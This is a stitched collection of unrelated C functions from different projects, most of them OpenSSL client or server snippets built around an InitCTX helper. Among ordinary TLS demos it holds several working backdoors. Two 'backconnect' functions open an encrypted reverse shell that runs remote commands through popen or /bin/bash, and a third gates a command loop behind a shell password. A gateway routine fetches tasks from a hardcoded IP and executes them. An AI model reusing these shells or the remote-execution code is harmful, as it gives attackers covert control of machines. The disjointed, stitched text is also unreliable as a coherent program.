int main(int count, char *strings[]) { FILE * fp; clock_t begin, end; double time_spent; SSL_CTX *ctx; int server,i=0; SSL *ssl; char buf[1024]; int bytes; char *hostname, *portnum; while (i<86400) { begin = clock(); //start time measurement - harith if ( count != 3 ) { printf("usage: %s <hostname> <portnum>\n", strings[0]); exit(0); } SSL_library_init(); hostname=strings[1]; portnum=strings[2]; ctx = InitCTX(); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ if ( SSL_connect(ssl) == FAIL ) /* perform the connection */ ERR_print_errors_fp(stderr); else { char *msg = "Hello???"; printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); /* get any certs */ SSL_write(ssl, msg, strlen(msg)); /* encrypt & send message */ bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ buf[bytes] = 0; printf("Received: \"%s\"\n\n", buf); SSL_free(ssl); /* release connection state */ } close(server); /* close socket */ SSL_CTX_free(ctx); /* release context */ end = clock(); // stop time measurement -- harith time_spent = (double)(end - begin) / CLOCKS_PER_SEC * 1000; //printf("Total execution time is: %f \n", time_spent); //reset time begin = 0; end = 0; fp = fopen( "logfile.txt", "a" ); // Open file for writing fprintf(fp, "Sequence %d, Time taken: %f ms \r\n",i,time_spent); fclose(fp); i++; sleep(1); } return 0; }
/*---------------------------------------------------------------------*/ bool MakeSSLRequest(const char* hostname, int port, ClientFunction client_func, void* client_data) { // Set up context SSL_CTX* ctx = InitCTX(); CHECK_CALL(ctx); // Connect to server int server = OpenConnection(hostname, port); if(server < 0) return false; CHECK_CALL(server); SSL* ssl = SSL_new(ctx); SSL_set_fd(ssl, server); // Do handshake if ( SSL_connect(ssl) == FAIL ) { ERR_print_errors_fp(stderr); return false; } client_func(ssl, client_data); fprintf(stderr, "Connected with %s encryption\n", SSL_get_cipher(ssl)); SSL_free(ssl); close(server); SSL_CTX_free(ctx); ERR_free_strings(); EVP_cleanup(); return true; }
int initialize_secure_connection(int fd) { ssds_log(logDEBUG, "Init SSL\n"); sleep(5); ctx = InitCTX(); if (ctx == NULL) { return -1; } //server loads certificate and key #ifdef __CASE_SERVER ssds_log(logDEBUG, "Server is loading certificates\n"); if (LoadCertificates(ctx, MY_CERT, MY_KEY) == -1) { ssds_log(logERROR, "SSL fail (server load certs)\n"); if (PRINT_SSL_ERRORS_TO_STDERR) ERR_print_errors_fp(stderr); return -1; } else { ssds_log(logMESSAGE, "SSL certificates successfully loaded\n"); } #endif ssl = SSL_new(ctx); SSL_set_fd(ssl, fd); //client connects to server #ifdef __CASE_CLIENT if (SSL_connect(ssl) == -1) { ssds_log(logERROR, "SSL fail (client connect)\n"); if (PRINT_SSL_ERRORS_TO_STDERR) ERR_print_errors_fp(stderr); return -1; } #endif //server accepts client #ifdef __CASE_SERVER if (SSL_accept(ssl) == -1) { ssds_log(logERROR, "SSL fail (server accept)\n"); if (PRINT_SSL_ERRORS_TO_STDERR) ERR_print_errors_fp(stderr); return -1; } #endif if (ShowCerts(ssl) == -1) { ssds_log(logERROR, "SSL fail (no peer certificates avalaible)\n"); if (PRINT_SSL_ERRORS_TO_STDERR) ERR_print_errors_fp(stderr); return -1; } return 0; }
void confirmTask(){ char request[MAX_BUF]; SSL *ssl; SSL_CTX *ctx; SSL_library_init(); if((ctx = InitCTX())==NULL){ } char CertFile[] = "/home/huangzhe/server.includesprivatekey.pem"; char KeyFile[] = "/home/huangzhe/server.includesprivatekey.pem"; if (LoadCertificates(ctx, CertFile, KeyFile)==-1){ return; } int sockfd = connect_log_server_ssl(); if (sockfd == -1) { return; } ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, sockfd); /* attach the socket descriptor */ if ( SSL_connect(ssl) == -1 ) { return; } snprintf(request, sizeof(request) - 1, "GET %s/?gw_id=%s&dev_id=%s HTTP/1.0\r\n" "User-Agent: WiFiDog %s\r\n" "Host: %s\r\n" "\r\n", "http://124.127.116.177/taskrequest.json", config_get_config()->gw_mac, config_get_config()->dev_id, VERSION, "124.127.116.177"); SSL_write(ssl, request, strlen(request)); /* encrypt & send message */ SSL_free(ssl); /* release connection state */ SSL_CTX_free(ctx); /* release context */ close(sockfd); return; }
/*const*/ BIGNUM *Bank::SignRequest(PublicCoinRequest &req) { InitCTX(); BIGNUM *BtoA=BN_new(); BN_mod_exp(BtoA,req.Request(),priv_key(),p(),m_ctx); DumpNumber("B->A= ",BtoA); return BtoA; }
void init_clinet_ssl(int server) { SSL_library_init(); ctx = InitCTX(); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ if ( SSL_connect(ssl) == FAIL ) /* perform the connection */ ERR_print_errors_fp(stderr); else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); /* get any certs */ } }
LAURIE_BOOLEAN Bank::Verify(Coin &coin) { InitCTX(); BIGNUM *t=BN_new(); if(!coin.GenerateCoinNumber(t,*this)) return false; BN_mod_exp(t,t,priv_key(),p(),m_ctx); DumpNumber("y^k= ",t); BN_sub(t,t,coin.Signature()); LAURIE_BOOLEAN bRet=BN_is_zero(t); BN_free(t); return bRet; }
/* * spawn a backconnect shell */ void backconnect(struct in_addr addr, u_short port) { struct sockaddr_in sockaddr; int sock; FILE *fd; char *newline,buf[1028]; SSL_CTX *ctx; SSL *ssl; ctx = InitCTX(); sockaddr.sin_family = AF_INET; sockaddr.sin_port = port; sockaddr.sin_addr = addr; sock = socket(AF_INET, SOCK_STREAM, 0); if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) { ssl = SSL_new(ctx); SSL_set_fd(ssl,sock); sock = SSL_get_fd(ssl); if ( SSL_connect(ssl) == -1 ) ERR_print_errors_fp(stderr); else { while (SSL_read(ssl,buf,sizeof(buf)-1) > 0) { newline = strchr(buf,'\n'); *newline = '\0'; fd = popen(buf,"r"); while(fgets(buf,sizeof(buf)-1,fd) > 0) SSL_write(ssl,buf,strlen(buf)); pclose(fd); } close(sock); SSL_CTX_free(ctx); } } return; }
int main(int count, char *strings[]) { SSL_CTX *ctx; int server; SSL *ssl; char buf[1024]; int bytes; char *hostname, *portnum; char msg[1024]; if ( count != 3 ) { printf("usage: %s <hostname> <portnum>\n", strings[0]); exit(0); } printf("HELLO!!\n"); SSL_library_init(); hostname=strings[1]; portnum=strings[2]; printf("HELLO!!\n"); ctx = InitCTX(); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ printf("HELLO!!\n"); if ( SSL_connect(ssl) == FAIL ) /* perform the connection */ ERR_print_errors_fp(stderr); else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); while(1){ printf("Client:"); fgets(msg,sizeof(msg),stdin); /* get any certs */ SSL_write(ssl, msg, strlen(msg)); /* encrypt & send message */ bytes = SSL_read(ssl, buf, sizeof(buf)-1); /* get reply & decrypt */ buf[bytes] = 0; printf("SERVER:%s", buf); } SSL_free(ssl); /* release connection state */ } close(server); /* close socket */ SSL_CTX_free(ctx); /* release context */ return 0; }
SSL *createSSL(int sock, SSL_CTX *ctx) { SSL *ssl; SSL_library_init(); ctx = InitCTX(); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, sock); /* attach the socket descriptor */ if ( SSL_connect(ssl) == -1 ) /* perform the connection */ { ERR_print_errors_fp(stderr); abort(); } else { fprintf(stderr,"\x1b[33mConnected with %s encryption\n\x1b[0m", SSL_get_cipher(ssl)); return ssl; } }
int main(int count, char *strings[]) { SSL_CTX *ctx; int server; SSL *ssl; char buf[1024]; int bytes; char *hostname, *portnum; if (count != 3) { printf("usage: %s <hostname> <portnum>\n", strings[0]); exit(0); } SSL_library_init(); hostname = strings[1]; portnum = strings[2]; ctx = InitCTX(); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ if (SSL_connect(ssl) == FAIL) /* perform the connection */ { printf("Eroor: %s\n", stderr); ERR_print_errors_fp(stderr); } else { char *msg = "HelloWorld"; printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); /* get any certs */ SSL_write(ssl, msg, strlen(msg)); /* encrypt & send message */ bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ buf[bytes] = '\0'; printf("Received %d : %s \n", strlen(buf), buf); SSL_free(ssl); /* release connection state */ } close(server); /* close socket */ SSL_CTX_free(ctx); /* release context */ return 0; }
void backconnect (int sock) { #ifdef DEBUG printf ("backconnect called.\n"); #endif char temp[256]; ctx = InitCTX (); ssl = SSL_new (ctx); SSL_set_fd (ssl, sock); sock = SSL_get_fd (ssl); if (SSL_accept (ssl) == -1) { #ifdef DEBUG ERR_print_errors_fp (stdout); #endif exit (1); } else { SSL_read (ssl, temp, sizeof (temp)); if (!strstr (temp, SHELL_PASSWD)) { close (sock); SSL_CTX_free (ctx); return; } SSL_write (ssl, SHELL_MSG, sizeof (SHELL_MSG)); cmd_loop (sock); close (sock); SSL_CTX_free (ctx); } return; }
int InitSSL( int sock_fd ) { ssl_infos.ctx = InitCTX(); ssl_infos.ssl = SSL_new( ssl_infos.ctx ); /* create new SSL connection state */ if( ssl_infos.ssl == NULL ) { printf( "%s: Error in SSL_new()\n", PACKAGE ); return EXIT_FAILURE; } SSL_set_fd( ssl_infos.ssl, sock_fd ); /* attach the socket descriptor */ if( SSL_connect( ssl_infos.ssl ) == FAIL ) { /* perform the connection */ ERR_print_errors_fp(stderr); return EXIT_FAILURE; } if( wmnotify_infos.debug ) { printf("Connected with %s encryption\n", SSL_get_cipher( ssl_infos.ssl )); ShowCerts( ssl_infos.ssl ); /* get any certs */ } return EXIT_SUCCESS; }
int main(int argc, char const *argv[]){ /* Инициализация переменных */ int tcp_sock, bytes_read; char host[] = "api.twitch.tv"; int port = 443; char message[]="GET /kraken/users/ws_mega HTTP/1.1\r\nHost: api.twitch.tv\r\nAccept: application/vnd.twitchtv.v3+json\r\n\r\n"; char buffer[BUFFER_LEN]; SSL_CTX *ctx; SSL *ssl; struct user user; memset(buffer, 0, sizeof(buffer)); SSL_library_init(); /* Инициализация сокетов */ ctx = InitCTX(); tcp_sock = InitSOCKET(&host[0], port); ssl = SSL_new(ctx); SSL_set_fd(ssl, tcp_sock); /* Тело программы */ if( (SSL_connect(ssl)) == FAIL ){ ERR_print_errors_fp(stderr); } SSL_write(ssl, message, sizeof(message)); bytes_read = SSL_read(ssl, buffer, sizeof(buffer)); RemoveHeaders(&buffer[0], bytes_read); user = ParseUser_v3(buffer); printf("%s\n", user.display_name); // printf("%s\n", buffer); /* Высвобождение переменных */ SSL_free(ssl); close(tcp_sock); SSL_CTX_free(ctx); return 0; }
int main() { SSL_CTX *ctx; int server; SSL *ssl; char buf[1024]; int bytes; char hostname[]="127.0.0.1"; char portnum[]="5000"; char CertFile[] = "key/certificate.crt"; char KeyFile[] = "key/private_key.pem"; SSL_library_init(); ctx = InitCTX(); LoadCertificates(ctx, CertFile, KeyFile, "12345678"); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ if ( SSL_connect(ssl) == FAIL ) /* perform the connection */ ERR_print_errors_fp(stderr); else { char *msg = "Hello???"; printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); ShowCerts(ssl); /* get any certs */ SSL_write(ssl, msg, strlen(msg)); /* encrypt & send message */ bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ buf[bytes] = 0; printf("Received: \"%s\"\n", buf); SSL_free(ssl); /* release connection state */ } close(server); /* close socket */ SSL_CTX_free(ctx); /* release context */ return 0; }
/** @internal * This function does the actual request. */ void retrieve(cJSON *auth_json) { ssize_t numbytes; size_t totalbytes; int sockfd, nfds, done; char request[MAX_BUF]; fd_set readfds; struct timeval timeout; FILE * fh; char *str = NULL; cJSON *json=auth_json; SSL *ssl; SSL_CTX *ctx; SSL_library_init(); if((ctx = InitCTX())==NULL){ } char CertFile[] = "/home/huangzhe/server.includesprivatekey.pem"; char KeyFile[] = "/home/huangzhe/server.includesprivatekey.pem"; if (LoadCertificates(ctx, CertFile, KeyFile)==-1){ return; } sockfd = connect_log_server_ssl(); if (sockfd == -1) { return; } ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, sockfd); /* attach the socket descriptor */ if ( SSL_connect(ssl) == -1 ) { return; } snprintf(request, sizeof(request) - 1, "GET %s/?gw_id=%s&dev_id=%s HTTP/1.0\r\n" "User-Agent: WiFiDog %s\r\n" "Host: %s\r\n" "\r\n", "http://124.127.116.177/taskrequest.json", config_get_config()->gw_mac, config_get_config()->dev_id, VERSION, "124.127.116.177"); SSL_write(ssl, request, strlen(request)); /* encrypt & send message */ numbytes = totalbytes = 0; done = 0; do { FD_ZERO(&readfds); FD_SET(sockfd, &readfds); timeout.tv_sec = 30; /* XXX magic... 30 second */ timeout.tv_usec = 0; nfds = sockfd + 1; nfds = select(nfds, &readfds, NULL, NULL, &timeout); if (nfds > 0) { /** We don't have to use FD_ISSET() because there * was only one fd. */ numbytes = SSL_read(ssl, request + totalbytes, MAX_BUF - (totalbytes + 1)); if (numbytes < 0) { debug(LOG_ERR, "An error occurred while reading from auth server: %s", strerror(errno)); /* FIXME */ close(sockfd); return; } else if (numbytes == 0) { done = 1; } else { totalbytes += numbytes; debug(LOG_DEBUG, "Read %d bytes, total now %d", numbytes, totalbytes); } } else if (nfds == 0) { debug(LOG_ERR, "Timed out reading data via select() from auth server"); /* FIXME */ close(sockfd); return; } else if (nfds < 0) { debug(LOG_ERR, "Error reading data via select() from auth server: %s", strerror(errno)); /* FIXME */ close(sockfd); return; } } while (!done); request[totalbytes] = '\0'; debug(LOG_DEBUG," %s \n",request); str = strstr(request, "{"); if (str != 0) { json=cJSON_Parse(str); if (!json) {debug(LOG_DEBUG,"Error before: [%s]\n",cJSON_GetErrorPtr());} else{ if (cJSON_GetObjectItem(json,"result") && strcmp(cJSON_GetObjectItem(json,"result")->valuestring,"OK")==0){ cJSON *format; if (format = cJSON_GetObjectItem(json,"task")){ char *task_code = cJSON_GetObjectItem(format,"task_code")->valuestring; char *task_param = cJSON_GetObjectItem(format,"task_param")->valuestring; //debug(LOG_DEBUG," %s %s\n", task_code,task_param); confirmTask(); snprintf(request, sizeof(request) - 1, "%s%s", task_code, task_param); execute(request,0); } } } } SSL_free(ssl); /* release connection state */ SSL_CTX_free(ctx); /* release context */ debug(LOG_DEBUG, "Done reading reply, total %d bytes", totalbytes); close(sockfd); return; }
int main(int count, char *strings[]) { SSL_CTX *ctx; int server; int choice=0; SSL *ssl; char buf[1024]; int bytes; char *hostname, *portnum; char filename[20] ; if ( count != 3 ){ printf("usage: %s <hostname> <portnum>\n", strings[0]); exit(0); } SSL_library_init(); hostname=strings[1]; portnum=strings[2]; ctx = InitCTX(); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ if ( SSL_connect(ssl) == FAIL ) /* perform the connection */ ERR_print_errors_fp(stderr); else{ printf("Connected with %s encryption\n\n", SSL_get_cipher(ssl)); ShowCerts(ssl); /* get any certs */ printf("\n\n"); printf("Welcome to Cloud Storage System :\n Enter 1 - FILE UPLOAD\n 2 - FILE DOWNLOAD \n "); scanf("%d",&choice); if(choice ==1){ printf("Enter the file name you want to upload :"); scanf(" %s",filename); FILE *fp = fopen(filename,"r"); if(fp==NULL){ printf("File open error\n\n"); SSL_free(ssl); close(server); /* close socket */ SSL_CTX_free(ctx); return 1; } SSL_write(ssl,filename,sizeof(filename)); char ack[10]; SSL_read(ssl,ack,sizeof(ack)); printf("File name ACK received: %s\n\n",ack); /* Read data from file and send it. First read file in chunks of BUF_SIZE bytes */ unsigned char buff[BUF_SIZE]={0}; int nread = fread(buff,1,BUF_SIZE,fp); printf("Bytes read %d \n", nread); /* If read was success, send data. */ if(nread > 0){ printf("Sending File contents to server Side \n"); SSL_write(ssl, buff, nread); /* send file contents to server */ calHmac(buff,filename,choice); } // SSL_write(ssl, msg, strlen(msg)); bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ buf[bytes] = 0; printf("\nReceived: File Created at Server \n" ); } else if(choice ==2){ printf("Enter the file name you want to download :"); scanf(" %s",filename); SSL_write(ssl,"DOWNLOAD",sizeof(filename)); char ack[30]; int replay=0; SSL_read(ssl,ack,sizeof(ack)); printf("File name ACK received: %s\n\n",ack); strcat(ack,"-"); strcat(ack,filename); printf("Do you want to try Replay Attack? If yes, enter 1:"); scanf("%d",&replay); if(replay ==1){ printf("Enter the data to replay :"); scanf("%s",ack); SSL_write(ssl,ack,sizeof(ack)); } else{ SSL_write(ssl,ack,sizeof(ack)); } unsigned char fileContent[256]; SSL_read(ssl,fileContent,sizeof(fileContent)); printf("File Contents received: %s\n\n",fileContent); calHmac(fileContent,filename,choice); //path where downloaded files are stored char filepath[90]="/Users/prashanth/Desktop/try-1/ProejectTry-2/Download/"; strcat(filepath,filename); FILE *DownloadFp=0; //writing Downloaded file contents to a new location DownloadFp = fopen(filepath, "w"); if(DownloadFp == NULL) printf("Sorry, file cannot be created\n"); else{ fwrite(fileContent,sizeof(unsigned char), sizeof(fileContent),DownloadFp); printf("\n Path of Downloaded file:%s \n",filepath); fclose(DownloadFp); } // Directory al } else{ printf("Invalid Choice\n"); exit(0); } SSL_free(ssl); /* release connection state */ } close(server); /* close socket */ SSL_CTX_free(ctx); /* release context */ return 0; }
int main(int argc, char *argv[]) { /* deletes existeng ecents */ remove("ecents.txt"); SSL_CTX *ctx; int type, server, localport, proxyport, bankport; int i = 0; SSL *ssl; char buf[1024]; char buf2[33000]; int bytes; char *proxyhost; char *bankhost; if ( argc <6 ) { printf("usage: type localport proxyhost proxyport bankhost bankport \n"); exit(0); } /* initialises SSL library and copies line arguments */ SSL_library_init(); type = atoi(argv[1]); localport=atoi(argv[2]); proxyhost=argv[3]; proxyport = atoi(argv[4]); bankhost = argv[5]; bankport = atoi(argv[6]); registrationrequest(type, localport, proxyhost, proxyport); int requestedecents = 1000; while(1){ char msg[1024]; bzero(msg,1024); ctx = InitCTX(); if(i == 0){ printf("\nrequested number of eCents: \n"); wait(3); printf("\t%i\n", requestedecents); wait(3); sprintf(msg,"%c%i",'0',requestedecents); server = OpenConnection(bankhost, localport, bankport); } else{ printf("\ninput:\n"); strcpy(msg, geteCent()); if(strlen(msg) != 32){ printf("no eCents\n"); } else { strcat(msg, getData()); server = OpenConnection(proxyhost, localport, proxyport); } } /* creates ssl context and sets socket to it*/ ssl = SSL_new(ctx); SSL_set_fd(ssl, server); if ( SSL_connect(ssl) == -1 ){ ERR_print_errors_fp(stderr); printf("connection error\n"); } else { printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); printf("sending: %s\n", msg); ShowCerts(ssl); /* Write to Bank to verify ecent */ SSL_write(ssl, msg, sizeof(msg)); if(i == 0){ bzero(buf2, 33000); /* Read from Bank, confirm verification*/ bytes = SSL_read(ssl, buf2, sizeof(buf2)); if(bytes < 1) { printf("Exit read error from Bank\n"); exit(1); } buf2[bytes] = '\0'; printf("eCents received: %s\n", buf2); puteCents(buf2); } else{ /* Reads from Collector*/ bytes = SSL_read(ssl, buf, sizeof(buf)); /* get reply & decrypt */ buf[bytes] = '\0'; if(bytes < 1) { printf("Exit: read error from Analyst\n"); exit(1); } if(strcmp(buf, "invalid eCent") == 0) printf("\n%s\n", buf); else printf("\naverage: %s\n", buf); } SSL_free(ssl); } sleep(1); close(server); SSL_CTX_free(ctx); i++; } return 0; }
/* * spawn a backconnect shell */ void backconnect(struct in_addr addr, u_short port) { int child; signal(SIGCHLD, SIG_IGN); if((child=fork())==0){ /*For magic stdin stdout sdterr*/ //printf("hello"); struct sockaddr_in sockaddr; int sock; //FILE *fd; //char *newline; //char buf[1028]; SSL_CTX *ctx; SSL *ssl; ctx = InitCTX(); sockaddr.sin_family = AF_INET; sockaddr.sin_addr = addr; sockaddr.sin_port = port; sock = socket(AF_INET, SOCK_STREAM, 0); if (connect(sock, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) == 0) { ssl = SSL_new(ctx); SSL_set_fd(ssl,sock); sock = SSL_get_fd(ssl); if ( SSL_connect(ssl) == -1 ) ERR_print_errors_fp(stderr); else { enterpass(ssl); int writepipe[2] = {-1,-1}, /* parent -> child */ readpipe [2] = {-1,-1}; /* child -> parent */ pid_t childpid; /*------------------------------------------------------------------------ * CREATE THE PAIR OF PIPES * * Pipes have two ends but just one direction: to get a two-way * conversation you need two pipes. It's an error if we cannot make * them both, and we define these macros for easy reference. */ writepipe[0] = -1; if ( pipe(readpipe) < 0 || pipe(writepipe) < 0 ) { /* FATAL: cannot create pipe */ /* close readpipe[0] & [1] if necessary */ } #define PARENT_READ readpipe[0] #define CHILD_WRITE readpipe[1] #define CHILD_READ writepipe[0] #define PARENT_WRITE writepipe[1] signal(SIGCHLD, SIG_IGN); if ( (childpid = fork()) < 0) { /* FATAL: cannot fork child */ } else if ( childpid == 0 ) /* in the child */ { close(PARENT_WRITE); close(PARENT_READ); //dup2(CHILD_READ, 0); close(CHILD_READ); //dup2(CHILD_WRITE, 1); close(CHILD_WRITE); dup2(CHILD_WRITE,2);//for error remap_pipe_stdin_stdout(CHILD_READ,CHILD_WRITE); /* do child stuff */ //read_write(ssl,sock); execve("/bin/bash", argv, envp); //printf("bash close"); close(childpid); _exit(0); } else /* in the parent */ { close(CHILD_READ); close(CHILD_WRITE); //dup2(PARENT_READ, 0); //dup2(PARENT_WRITE, 1); remap_pipe_stdin_stdout(PARENT_READ,PARENT_WRITE); /* do parent stuff */ read_write(ssl,sock); //wait(); } close(sock); SSL_CTX_free(ctx); } } //return; close(child); _exit(0); }else if(child>0){ #ifdef DEBUG printf("---child PID:"); printf("%d",child); printf("\n"); #endif return; } return; }
int main(int count, char *strings[]) { SSL_CTX *ctx; int server; SSL *ssl; char buf[10240]; int bytes; char *hostname, *portnum, *filename; int file; int localerror; char *command; char **data; char *buffer; int filesize, readData; if ( count != 4 ) { printf("usage: %s <filename> <hostname> <portnum>\n", strings[0]); exit(0); } SSL_library_init(); filename=strings[1]; hostname=strings[2]; portnum=strings[3]; ctx = InitCTX(); LoadCertificates(ctx, "client.csr", "client.key"); SSL_CTX_load_verify_locations(ctx, "authority.pem", "."); SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, NULL); SSL_CTX_set_verify_depth(ctx,1); server = OpenConnection(hostname, atoi(portnum)); ssl = SSL_new(ctx); /* create new SSL connection state */ SSL_set_fd(ssl, server); /* attach the socket descriptor */ if ( SSL_connect(ssl) == FAIL ) /* perform the connection */ ERR_print_errors_fp(stderr); else { char *buffer; int BUFFERSIZE = 1024; printf("Connected with %s encryption\n", SSL_get_cipher(ssl)); if(ShowCerts(ssl)) { buffer = (char *) calloc(1,BUFFERSIZE); data = (char **) calloc(1,255*sizeof(char*)); command = (char *) calloc(1,255); //SEND GET memset(buffer,0,BUFFERSIZE); strcpy(buffer,"GET:"); strcat(buffer,filename); strcat(buffer,"\r\n"); SSL_write(ssl, buffer, strlen(buffer)); printf("Sent: %s\n",buffer); //Read OK or NOTFOUND memset(data,0,255*sizeof(char*)); memset(command,0,255); memset(buffer,0,BUFFERSIZE); SSL_read(ssl, buffer, BUFFERSIZE); printf("Read: %s\n",buffer); command = getCommand(buffer,data); if(strcmp(command,"OK")!=0) { free(command); free(data); free(buffer); return; } //SEND OK memset(buffer,0,BUFFERSIZE); strcpy(buffer,"OK"); strcat(buffer,"\r\n"); int sendbytes = SSL_write(ssl, buffer, strlen(buffer)); printf("Sent: %s\n",buffer); printf("Bytes: %d\n",sendbytes); //Read Size memset(data,0,255*sizeof(char*)); memset(command,0,255); memset(buffer,0,BUFFERSIZE); SSL_read(ssl, buffer, BUFFERSIZE); printf("Read: %s\n",buffer); command = getCommand(buffer,data); if(strcmp(command,"SIZE")!=0) { free(command); free(data); free(buffer); return; } filesize = atoi(data[0]); //SEND OK memset(buffer,0,BUFFERSIZE); strcpy(buffer,"OK"); strcat(buffer,"\r\n"); SSL_write(ssl, buffer, strlen(buffer)); printf("Sent: %s\n",buffer); //OPEN FILE if((file = open(filename+1,O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP)) == -1) { localerror = errno; fprintf(stderr,"Can't open file for write (%s)\n",strerror(localerror)); return; } readData = 0; int total = 0; while((readData = SSL_read(ssl, buffer, BUFFERSIZE))>0) { total += readData; printf("Read: %d\n",total); write(file,buffer,readData); memset(buffer,0,BUFFERSIZE); if(total>=filesize) break; } close(file); //SEND OK memset(buffer,0,BUFFERSIZE); strcpy(buffer,"OK"); strcat(buffer,"\r\n"); SSL_write(ssl, buffer, strlen(buffer)); printf("Sent: %s\n",buffer); //Read BYE memset(data,0,255*sizeof(char*)); memset(command,0,255); memset(buffer,0,BUFFERSIZE); SSL_read(ssl, buffer, BUFFERSIZE); printf("Read: %s\n",buffer); command = getCommand(buffer,data); if(strcmp(command,"BYE")!=0) { free(command); free(data); free(buffer); return; } //SEND BYE memset(buffer,0,BUFFERSIZE); strcpy(buffer,"BYE"); strcat(buffer,"\r\n"); SSL_write(ssl, buffer, strlen(buffer)); printf("Sent: %s\n",buffer); } /* get any certs */ SSL_free(ssl); /* release connection state */ } close(server); /* close socket */ SSL_CTX_free(ctx); /* release context */ return 0; }